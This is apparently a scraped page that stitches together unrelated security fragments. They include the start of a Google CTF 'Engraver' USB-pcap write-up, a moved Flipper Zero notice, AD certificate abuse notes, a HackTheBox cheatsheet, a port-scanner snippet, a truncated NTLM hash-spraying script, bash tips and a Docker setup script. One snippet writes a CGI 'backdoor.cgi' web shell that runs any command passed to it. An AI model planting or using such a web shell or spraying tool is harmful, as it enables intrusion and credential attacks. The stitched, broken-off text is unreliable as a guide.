Ryan Montgomery 0dayCTF

Engraver

Engraver was a hardware challenge on Google CTF 2022 that involved recovering movements of a robotic arm engraving the flag from a pcap dump of commands sent to the device.

For the challenge, we were given the mentioned pcap containing USB traffic and two images of the robot arm (one of the robot arm idle, one during the engraving process).

Taking a look at the PCAP

The provided PCAP file contains a dump of USB traffic from a specific USB device. We can see the typical USB configuration packets being sent at the beginning (host fetching the USB descriptors) and afterward we see a lot of URB interrupts from the host with HID data attached.

Figuring out the hardware part

This document has moved!

This comparison list has been relocated into the Awesome Flipper Zero repository. While you can read still read an archived version in this gist, all future updates will take place in the new repository.

Last archived version

(Adapted from Nano's original messages in the Unleashed firmware Discord.)

Flipper Zero firmware differences

`::` Last updated July 10 2022. `::`

PKI Abuse

Some golden links when you are having issues: https://social.technet.microsoft.com/Forums/windows/en-US/96016a13-9062-4842-b534-203d2f400cae/ca-certificate-request-error-quotdenied-by-policy-module-0x80094800quot-windows-server-2008?forum=winserversecurity

Enumerating ADCS On Linux

Download and install Certi

Purpose

Cheatsheet for HackTheBox with common things to do while solving these CTF challenges.

Because a smart man once said:

Never google twice.

	import net from 'net';
	import async from 'async';

	const { VMIP = '127.0.0.1', PORTS = '1-65535' } = process.env;
	const MAX_SCANS = 4096;
	const SCAN_HOST = VMIP;
	const TIMEOUT = 2000;
	const report: { [port: number]: string } = {};
	const ports: number[] = [];
	const groups: string[] = PORTS.split(',');

	#!/usr/bin/bash

	# made by 0xjb, definitely not made for any ctf boxes
	# Hash spraying when crackmapexec locks you out :(
	# Is it good? no
	# Did it work for me in a time of need? yes.
	# Will it work for you? ¯\_(ツ)_/¯

	if [ "$#" -ne 2 ];then
	echo "Usage: $0 <DOMAIN/User> <File of NTLM hashes 'hash:hash'>"

	cd /tmp
	mkdir cgi-bin
	echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
	echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
	echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
	chmod +x ./cgi-bin/backdoor.cgi
	python -m http.server --cgi

	# Run the last command as root
	sudo !!
	# Serve current directory tree at http://$HOSTNAME:8000/
	python -m SimpleHTTPServer
	# Save a file you edited in vim without the needed permissions
	:w !sudo tee %
	# change to the previous working directory
	cd -
	# Runs previous command but replacing
	^foo^bar

	#!/bin/bash

	# update apt-get
	export DEBIAN_FRONTEND="noninteractive"
	sudo apt-get update

	# remove previously installed Docker
	sudo apt-get purge lxc-docker*
	sudo apt-get purge docker.io*